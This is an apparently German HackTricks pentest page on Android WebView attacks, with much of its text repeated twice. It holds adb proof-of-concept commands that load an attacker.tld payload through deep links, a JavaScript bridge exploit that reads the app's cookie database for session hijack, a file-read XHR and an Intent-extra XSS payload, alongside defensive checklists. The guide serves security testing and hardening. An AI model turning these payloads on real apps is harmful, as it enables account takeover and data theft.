Webview Attacks

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Leitfaden zu WebView-Konfigurationen und Sicherheit

Übersicht der WebView-Schwachstellen

Ein kritischer Aspekt der Android-Entwicklung ist der korrekte Umgang mit WebViews. Dieser Leitfaden hebt wichtige Konfigurationen und Sicherheitsmaßnahmen hervor, um Risiken im Zusammenhang mit der Verwendung von WebViews zu mindern.

WebView Beispiel

Dateizugriff in WebViews

Standardmäßig erlauben WebViews Dateizugriff. Diese Funktion wird durch die Methode setAllowFileAccess() gesteuert, verfügbar seit Android API level 3 (Cupcake 1.5). Anwendungen mit der android.permission.READ_EXTERNAL_STORAGE-Berechtigung können Dateien vom externen Speicher über das file URL-Schema (file://path/to/file) lesen.

Deprecated Features: Universal and File Access From URLs

  • Universal Access From File URLs: This deprecated feature allowed cross-origin requests from file URLs, posing a significant security risk due to potential XSS attacks. The default setting is disabled (false) for apps targeting Android Jelly Bean and newer.
  • Zum Überprüfen dieser Einstellung verwende getAllowUniversalAccessFromFileURLs().
  • Zum Ändern dieser Einstellung verwende setAllowUniversalAccessFromFileURLs(boolean).
  • File Access From File URLs: This feature, also deprecated, controlled access to content from other file scheme URLs. Like universal access, its default is disabled for enhanced security.
  • Verwende getAllowFileAccessFromFileURLs() zum Prüfen und setAllowFileAccessFromFileURLs(boolean) zum Setzen.

Sicheres Laden von Dateien

Um den Zugriff auf das Dateisystem zu deaktivieren, während Assets und Ressourcen weiterhin erreichbar bleiben, wird die Methode setAllowFileAccess() verwendet. Bei Android R und neuer ist die Standardeinstellung false.

  • Prüfen mit getAllowFileAccess().
  • Aktivieren oder deaktivieren mit setAllowFileAccess(boolean).

WebViewAssetLoader

Die Klasse WebViewAssetLoader ist der moderne Ansatz zum Laden lokaler Dateien. Sie verwendet http(s)-URLs zum Zugriff auf lokale Assets und Ressourcen, entspricht der Same-Origin-Policy und erleichtert so das CORS-Management.

loadUrl

Dies ist eine häufige Funktion, die verwendet wird, um beliebige URLs in einem WebView zu laden:

webview.loadUrl("<url here>")

Natürlich sollte ein potentieller Angreifer niemals in der Lage sein, die URL zu kontrollieren, die eine Anwendung laden wird.

JavaScript und Intent-Schema-Handhabung

  • JavaScript: Standardmäßig in WebViews deaktiviert; es kann über setJavaScriptEnabled() aktiviert werden. Vorsicht ist geboten, da das Aktivieren von JavaScript ohne geeignete Schutzmaßnahmen Sicherheitslücken einführen kann.
  • Intent Scheme: WebViews können das intent-Schema verarbeiten, was bei unvorsichtiger Handhabung zu Exploits führen kann. Ein Beispiel für eine Verwundbarkeit betraf einen exponierten WebView-Parameter “support_url”, der ausgenutzt werden konnte, um cross-site scripting (XSS)-Angriffe auszuführen.

Verwundbare WebView

Exploitation-Beispiel mit adb:

adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"

Javascript-Brücke

Android bietet eine Funktion, die es JavaScript in einem WebView ermöglicht, native Android-App-Funktionen aufzurufen. Dies wird durch die Verwendung der Methode addJavascriptInterface erreicht, die JavaScript mit nativen Android-Funktionalitäten integriert und als WebView JavaScript bridge bezeichnet wird. Vorsicht ist geboten, da diese Methode allen Seiten innerhalb des WebView Zugriff auf das registrierte JavaScript-Interface-Objekt gewährt, was ein Sicherheitsrisiko darstellt, wenn sensible Informationen über diese Schnittstellen offengelegt werden.

  • Besondere Vorsicht ist geboten für Apps, die auf Android-Versionen unter 4.2 abzielen, wegen einer Schwachstelle, die remote code execution durch bösartiges JavaScript ermöglicht und reflection ausnutzt.

Implementierung einer JavaScript-Brücke

  • JavaScript interfaces können mit nativem Code interagieren, wie in den Beispielen gezeigt, in denen eine Klassenmethode für JavaScript exponiert wird:
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
  • JavaScript Bridge wird aktiviert, indem dem WebView eine Schnittstelle hinzugefügt wird:
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
  • Potenzielle Ausnutzung durch JavaScript, zum Beispiel über einen XSS-Angriff, ermöglicht das Aufrufen exponierter Java-Methoden:
<script>
alert(javascriptBridge.getSecret())
</script>
  • Um Risiken zu mindern, beschränke die restrict JavaScript bridge usage auf Code, der mit der APK ausgeliefert wird, und verhindere das Laden von JavaScript aus entfernten Quellen. Für ältere Geräte setze das minimum API level auf 17.

Reflection-based Remote Code Execution (RCE)

  • Eine dokumentierte Methode ermöglicht RCE durch reflection, indem ein spezifisches payload ausgeführt wird. Allerdings verhindert die @JavascriptInterface-Annotation unautorisierte Methodenaufrufe und begrenzt so die Angriffsoberfläche.

Remote Debugging

  • Remote debugging ist mit Chrome Developer Tools möglich und ermöglicht Interaktion sowie beliebige JavaScript-Ausführung innerhalb des WebView-Inhalts.

Enabling Remote Debugging

  • Remote debugging kann für alle WebViews innerhalb einer Anwendung aktiviert werden durch:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
  • Um Debugging bedingt basierend auf dem debuggable state der Anwendung zu aktivieren:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}

Exfiltrate beliebige Dateien

  • Demonstriert die exfiltration beliebiger Dateien mittels eines XMLHttpRequest:
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)

Webview Attacks

Guide on WebView Configurations and Security

Overview of WebView Vulnerabilities

Ein kritischer Aspekt der Android-Entwicklung ist der korrekte Umgang mit WebViews. Dieser Leitfaden hebt wichtige Konfigurationen und Sicherheitspraktiken hervor, um Risiken im Zusammenhang mit der Verwendung von WebViews zu mindern.

WebView-Beispiel

File Access in WebViews

Standardmäßig erlauben WebViews Dateizugriff. Diese Funktionalität wird durch die Methode setAllowFileAccess() gesteuert, verfügbar seit Android API level 3 (Cupcake 1.5). Anwendungen mit der Berechtigung android.permission.READ_EXTERNAL_STORAGE können Dateien vom externen Speicher über das file-URL-Schema (file://path/to/file) lesen.

Deprecated Features: Universal and File Access From URLs

  • Universal Access From File URLs: Dieses veraltete Feature erlaubte Cross-Origin-Anfragen von file-URLs und stellte ein erhebliches Sicherheitsrisiko aufgrund potenzieller XSS-Angriffe dar. Die Standardeinstellung ist deaktiviert (false) für Apps, die auf Android Jelly Bean und neuer abzielen.
  • Zur Überprüfung dieser Einstellung verwenden Sie getAllowUniversalAccessFromFileURLs().
  • Um diese Einstellung zu ändern, verwenden Sie setAllowUniversalAccessFromFileURLs(boolean).
  • File Access From File URLs: Dieses ebenfalls veraltete Feature kontrollierte den Zugriff auf Inhalte von anderen file-Scheme-URLs. Wie beim universal access ist die Standardeinstellung aus Sicherheitsgründen deaktiviert.
  • Verwenden Sie getAllowFileAccessFromFileURLs() zum Prüfen und setAllowFileAccessFromFileURLs(boolean) zum Setzen.

Secure File Loading

Um den Zugriff auf das Dateisystem zu deaktivieren und gleichzeitig Assets und Ressourcen weiter zu nutzen, wird die Methode setAllowFileAccess() verwendet. Ab Android R ist die Standardeinstellung false.

  • Prüfen mit getAllowFileAccess().
  • Aktivieren oder deaktivieren mit setAllowFileAccess(boolean).

WebViewAssetLoader

Die Klasse WebViewAssetLoader ist der moderne Ansatz zum Laden lokaler Dateien. Sie verwendet http(s)-URLs zum Zugriff auf lokale Assets und Ressourcen, entspricht der Same-Origin policy und erleichtert damit das CORS-Management.

loadUrl

Dies ist eine gängige Funktion, um beliebige URLs in einer WebView zu laden:

webview.loadUrl("<url here>")

Natürlich sollte ein potenzieller Angreifer niemals in der Lage sein, die URL zu kontrollieren, die eine Anwendung laden wird.

Deep-linking in eine interne WebView (custom scheme → WebView sink)

Viele Apps registrieren custom schemes/paths, die eine vom Benutzer gelieferte URL in eine in-app WebView leiten. Wenn der deep link exported ist (VIEW + BROWSABLE), kann ein Angreifer die App zwingen, beliebige entfernte Inhalte innerhalb ihres WebView-Kontexts darzustellen.

Typisches Manifest-Muster (vereinfacht):

<activity android:name=".MainActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="myscheme" android:host="com.example.app" />
</intent-filter>
</activity>

Typischer Codefluss (vereinfacht):

// Entry activity
@Override
protected void onNewIntent(Intent intent) {
Uri deeplink = intent.getData();
String url = deeplink.getQueryParameter("url"); // attacker-controlled
if (deeplink.getPathSegments().get(0).equals("web")) {
Intent i = new Intent(this, WebActivity.class);
i.putExtra("url", url);
startActivity(i);
}
}

// WebActivity sink
webView.loadUrl(getIntent().getStringExtra("url"));

Angriffsmuster und PoC über adb:

# Template – force load in internal WebView
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

# If a specific Activity must be targeted
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

Impact: Die entfernte Seite läuft im App-WebView-Kontext (cookies/session des App-WebView-Profils, Zugriff auf jedes exponierte @JavascriptInterface, potenzieller Zugriff auf content:// und file:// je nach Einstellungen).

Hunting tips:

  • Grep decompiled sources for getQueryParameter("url"), loadUrl(, WebView sinks, and deep-link handlers (onCreate/onNewIntent).
  • Review the manifest for VIEW+BROWSABLE filters and custom schemes/hosts that map to activities that later start a WebView.
  • Check if there are multiple deep-link paths (e.g., an “external browser” path vs. an “internal webview” path) and prefer the one that renders inside the app.

JavaScript vor der Verifikation aktivieren (order-of-checks bug)

Ein häufiger Hardening-Fehler ist, JavaScript zu aktivieren oder gelockerte WebView-Einstellungen vorzunehmen, bevor die endgültige allowlist/Verifizierung der Ziel-URL abgeschlossen ist. Wenn die Verifizierung in verschiedenen Helfern inkonsistent ist oder zu spät passiert, kann ein Angreifer-deep-link einen Zustand erreichen, in dem:

  1. WebView settings apply (z. B. setJavaScriptEnabled(true)), und
  2. Die untrusted URL mit aktiviertem JavaScript geladen wird.

Bug pattern (pseudocode):

// 1) Parse/early checks
Uri u = parse(intent);
if (!looksValid(u)) return;

// 2) Configure WebView BEFORE final checks
webView.getSettings().setJavaScriptEnabled(true); // BAD: too early
configureMixedContent();

// 3) Do final verification (late)
if (!finalAllowlist(u)) return; // too late – JS already enabled

// 4) Load
webView.loadUrl(u.toString());

Warum es ausnutzbar ist

  • Inkonsistente Normalisierung: Hilfsfunktionen teilen/setzen die URL anders zusammen als die finale Prüfung, wodurch Diskrepanzen entstehen, die eine bösartige URL ausnutzen kann.
  • Falsch geordnete Pipeline: Das Aktivieren von JS in Schritt 2 gilt global für die WebView-Instanz und beeinflusst das finale Laden, selbst wenn die Verifikation später fehlschlagen würde.

How to test

  • Erstelle deep-link payloads, die frühe Prüfungen passieren und die WebView-Konfigurationsseite erreichen.
  • Verwende adb, um implicit VIEW intents zu senden, die einen von dir kontrollierten url=-Parameter übergeben:
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

Wenn exploitation gelingt, führt dein payload JavaScript im WebView der App aus. Von dort aus prüfe auf exposed bridges:

<script>
for (let k in window) {
try { if (typeof window[k] === 'object' || typeof window[k] === 'function') console.log('[JSI]', k); } catch(e){}
}
</script>

Defensive Hinweise

  • Einmal kanonisieren; streng gegen eine einzige Quelle der Wahrheit validieren (scheme/host/path/query).
  • Rufe setJavaScriptEnabled(true) nur auf, nachdem alle allowlist-Prüfungen bestanden sind und unmittelbar bevor vertrauenswürdiger Inhalt geladen wird.
  • Vermeide es, @JavascriptInterface für nicht vertrauenswürdige Origins freizugeben; bevorzuge pro-Origin-Gating.
  • Erwäge separate WebView-Instanzen für vertrauenswürdige vs. nicht vertrauenswürdige Inhalte, mit standardmäßig deaktiviertem JS.

JavaScript und Intent Scheme Handhabung

  • JavaScript: Standardmäßig in WebViews deaktiviert, kann aber über setJavaScriptEnabled() aktiviert werden. Vorsicht ist geboten, da das Aktivieren von JavaScript ohne geeignete Schutzmaßnahmen Sicherheitslücken einführen kann.
  • Intent Scheme: WebViews können das intent-Scheme verarbeiten, was potenziell zu Exploits führen kann, wenn es nicht sorgfältig verwaltet wird. Ein Beispiel einer Schwachstelle betraf einen exponierten WebView-Parameter “support_url”, der ausgenutzt werden konnte, um Cross-Site Scripting (XSS)-Angriffe auszuführen.

Anfällige WebView

Beispiel zur Ausnutzung mit adb:

adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"

Javascript Bridge

Android bietet eine Funktion, die es JavaScript in einer WebView ermöglicht, native Android-App-Funktionen aufzurufen. Dies wird durch die Verwendung der Methode addJavascriptInterface erreicht, die JavaScript mit nativen Android-Funktionalitäten integriert und als WebView JavaScript bridge bezeichnet wird. Vorsicht ist geboten, da diese Methode allen Seiten innerhalb der WebView Zugriff auf das registrierte JavaScript-Interface-Objekt ermöglicht, was ein Sicherheitsrisiko darstellt, falls über diese Schnittstellen sensible Daten preisgegeben werden.

  • Äußerste Vorsicht ist geboten für Apps, die auf Android-Versionen unter 4.2 abzielen, aufgrund einer Schwachstelle, die remote code execution durch bösartiges JavaScript ermöglicht und Reflection ausnutzt.

Implementierung einer JavaScript-Bridge

  • JavaScript-Interfaces können mit nativem Code interagieren, wie in den Beispielen zu sehen ist, in denen eine Klassenmethode für JavaScript exponiert wird:
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
  • JavaScript Bridge wird aktiviert, indem eine Schnittstelle zum WebView hinzugefügt wird:
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
  • Potenzielle Ausnutzung durch JavaScript, zum Beispiel mittels eines XSS-Angriffs, ermöglicht das Aufrufen exponierter Java-Methoden:
<script>
alert(javascriptBridge.getSecret())
</script>
  • Um Risiken zu mindern: restrict JavaScript bridge usage — auf Code beschränken, der mit der APK ausgeliefert wird, und das Laden von JavaScript aus entfernten Quellen verhindern. Für ältere Geräte den Mindest-API-Level auf 17 setzen.

Missbrauch von dispatcher-style JS bridges (invokeMethod/handlerName)

Ein gängiges Muster ist eine einzelne exportierte Methode (z. B. @JavascriptInterface void invokeMethod(String json)), die vom Angreifer kontrolliertes JSON in ein generisches Objekt deserialisiert und anhand eines übergebenen handler-Namens die entsprechende Aktion auswählt. Typische JSON-Struktur:

{
"handlerName": "toBase64",
"callbackId": "cb_12345",
"asyncExecute": "true",
"data": { /* handler-specific fields */ }
}

Risiko: wenn ein registrierter Handler privilegierte Aktionen auf Angreiferdaten ausführt (z. B. direkte Dateilesen), kannst du ihn aufrufen, indem du handlerName entsprechend setzt. Ergebnisse werden üblicherweise zurück in den Seitenkontext via evaluateJavascript und einem Callback/Promise-Mechanismus gepostet, der unter dem Schlüssel callbackId steht.

Wichtige Schritte zur Suche

  • Dekompi­liere und suche mit grep nach addJavascriptInterface(, um den Bridge-Objektnamen zu ermitteln (z. B. xbridge).
  • In Chrome DevTools (chrome://inspect) tippe den Bridge-Objektnamen in die Konsole (z. B. xbridge), um exponierte Felder/Methoden aufzulisten; suche nach einem generischen Dispatcher wie invokeMethod.
  • Liste die Handler auf, indem du nach Klassen suchst, die getModuleName() implementieren, oder nach Registrierungs-Maps.

Arbitrary file read via URI → File sinks (Base64 exfiltration)

Wenn ein Handler eine URI entgegennimmt, Uri.parse(req.getUri()).getPath() aufruft, new File(...) erstellt und diese ohne allowlists oder Sandbox-Checks liest, erhältst du ein arbitrary file read in der app sandbox, das WebView-Einstellungen wie setAllowFileAccess(false) umgeht (das Lesen erfolgt im nativen Code, nicht über den WebView-Netzwerkstack).

PoC to exfiltrate the Chromium WebView cookie DB (session hijack):

// Minimal callback sink so native can deliver the response
window.WebViewJavascriptBridge = {
_handleMessageFromObjC: function (data) { console.log(data) }
};

const payload = JSON.stringify({
handlerName: 'toBase64',
callbackId: 'cb_' + Date.now(),
data: { uri: 'file:///data/data/<pkg>/app_webview/Default/Cookies' }
});

xbridge.invokeMethod(payload);

Notes

  • Cookie DB paths vary across devices/providers. Common ones:
  • file:///data/data/<pkg>/app_webview/Default/Cookies
  • file:///data/data/<pkg>/app_webview_<pkg>/Default/Cookies
  • The handler returns Base64; decode to recover cookies and impersonate the user in the app’s WebView profile.

Detection tips

  • Watch for large Base64 strings returned via evaluateJavascript when using the app.
  • Grep decompiled sources for handlers that accept uri/path and convert them to new File(...).

Bypassing WebView privilege gates – endsWith() host checks

Privilege decisions (selecting a JSB-enabled Activity) often rely on host allowlists. A flawed pattern is:

String host = Uri.parse(url).getHost();
boolean z = true;
if (!host.endsWith(".trusted.com")) {
if (!".trusted.com".endsWith(host)) {
z = false;
}
}
// z==true → open privileged WebView

Äquivalente Logik (De Morgan’s):

boolean z = host.endsWith(".trusted.com") ||
".trusted.com".endsWith(host);

Das ist keine Origin-Prüfung. Viele unbeabsichtigte Hosts erfüllen die zweite Klausel und lassen nicht vertrauenswürdige Domains in die privilegierte Activity. Prüfe immer scheme und host gegen eine strikte allowlist (exakte Übereinstimmung oder eine korrekte Subdomain-Prüfung mit Punkt-Grenzen), nicht mit endsWith-Tricks.

javascript:// execution primitive via loadUrl

Sobald man sich in einem privilegierten WebView befindet, führen Apps manchmal inline JS über:

webView.loadUrl("javascript:" + jsPayload);

If an internal flow triggers loadUrl("javascript:...") in that context, injected JS executes with bridge access even if the external page wouldn’t normally be allowed. Pentest steps:

  • Grep for loadUrl("javascript: and evaluateJavascript( in the app.
  • Try to reach those code paths after forcing navigation to the privileged WebView (e.g., via a permissive deep link chooser).
  • Use the primitive to call the dispatcher (xbridge.invokeMethod(...)) and reach sensitive handlers.

Gegenmaßnahmen (Entwickler-Checkliste)

  • Strikte Origin-Verifizierung für privilegierte Activities: kanonisiere und vergleiche scheme/host gegen eine explizite allowlist; vermeide endsWith-basierte Checks. Ziehe Digital Asset Links in Betracht, wenn anwendbar.
  • Scope Bridges nur auf vertrauenswürdige Seiten und überprüfe das Vertrauen bei jedem Aufruf erneut (per-call authorization).
  • Entferne oder schütze filesystem-fähige Handler streng; bevorzuge content:// mit allowlists/permissions gegenüber rohen file://-Pfaden.
  • Vermeide loadUrl("javascript:") in privilegierten Kontexten oder sperre es hinter starken Prüfungen.
  • Beachte, dass setAllowFileAccess(false) nicht vor nativen Datei-Lesevorgängen über die Bridge schützt.

JSB-Enumeration und Debugging-Tipps

  • Aktiviere WebView Remote Debugging, um die Chrome DevTools Console zu verwenden:
  • App-seitig (debug builds): WebView.setWebContentsDebuggingEnabled(true)
  • System-seitig: Module wie LSPosed oder Frida-Skripte können Debugging auch in release builds erzwingen. Beispiel-Frida-Snippet für Cordova WebViews: cordova enable webview debugging
  • In DevTools den Namen des Bridge-Objekts eingeben (z. B. xbridge), um exponierte Member zu sehen und den Dispatcher zu untersuchen.

Reflection-basierte Remote Code Execution (RCE)

  • Eine dokumentierte Methode erlaubt RCE mittels Reflection durch Ausführen einer spezifischen Payload. Die Annotation @JavascriptInterface verhindert jedoch unautorisierte Methodenaufrufe und begrenzt die Angriffsfläche.

Remote Debugging

  • Remote debugging ist mit Chrome Developer Tools möglich und erlaubt Interaktion sowie beliebige JavaScript-Ausführung innerhalb des WebView-Inhalts.

Remote-Debugging aktivieren

  • Remote Debugging kann für alle WebViews innerhalb einer Anwendung aktiviert werden durch:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
  • Um debugging bedingt zu aktivieren, basierend auf dem debuggable Zustand der Anwendung:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}

Exfiltrate beliebige Dateien

  • Demonstriert die Exfiltration beliebiger Dateien mittels XMLHttpRequest:
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)

WebView XSS via Intent extras → loadData()

Eine häufige Schwachstelle besteht darin, vom Angreifer kontrollierte Daten aus einem eingehenden Intent-Extra zu lesen und diese mit aktiviertem JavaScript direkt über loadData() in eine WebView zu injizieren.

Verwundbares Muster (exported Activity liest das Extra und stellt es als HTML dar):

String data = getIntent().getStringExtra("data");
if (data == null) { data = "Guest"; }
WebView webView = findViewById(R.id.webview);
webView.getSettings().setJavaScriptEnabled(true);
webView.setWebChromeClient(new WebChromeClient());
String userInput = "\n\n# Welcome\n\n" + "\n\n" + data + "\n\n";
webView.loadData(userInput, "text/html", "UTF-8");

Wenn diese Activity exported ist (oder über einen exported proxy erreichbar), kann eine bösartige App HTML/JS im data-Extra übergeben, um reflected XSS zu erreichen:

# Replace package/component with the vulnerable Activity
adb shell am start -n com.victim/.ExportedWebViewActivity --es data '<img src=x onerror="alert(1)">'

Auswirkung

  • Beliebiger JS im WebView-Kontext der App: @JavascriptInterface-Bridges auflisten/verwenden, Zugriff auf WebView cookies/local storage, Pivot zu file:// oder content:// je nach Einstellungen.

Gegenmaßnahmen

  • Behandle alle aus Intent stammenden Eingaben als nicht vertrauenswürdig. Escape (Html.escapeHtml) oder lehne HTML ab; ziehe es vor, nicht vertrauenswürdigen Text als Text und nicht als HTML zu rendern.
  • Halte JavaScript deaktiviert, sofern nicht zwingend erforderlich; aktiviere WebChromeClient nicht für nicht vertrauenswürdigen Inhalt.
  • Wenn du template-basiertes HTML rendern musst, verwende loadDataWithBaseURL() mit einer sicheren Basis und CSP; trenne vertrauenswürdige und nicht vertrauenswürdige WebViews.
  • Vermeide es, die Activity extern zugänglich zu machen, oder schütze sie mit Berechtigungen, wenn dies nicht nötig ist.

Verwandt

Referenzen

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks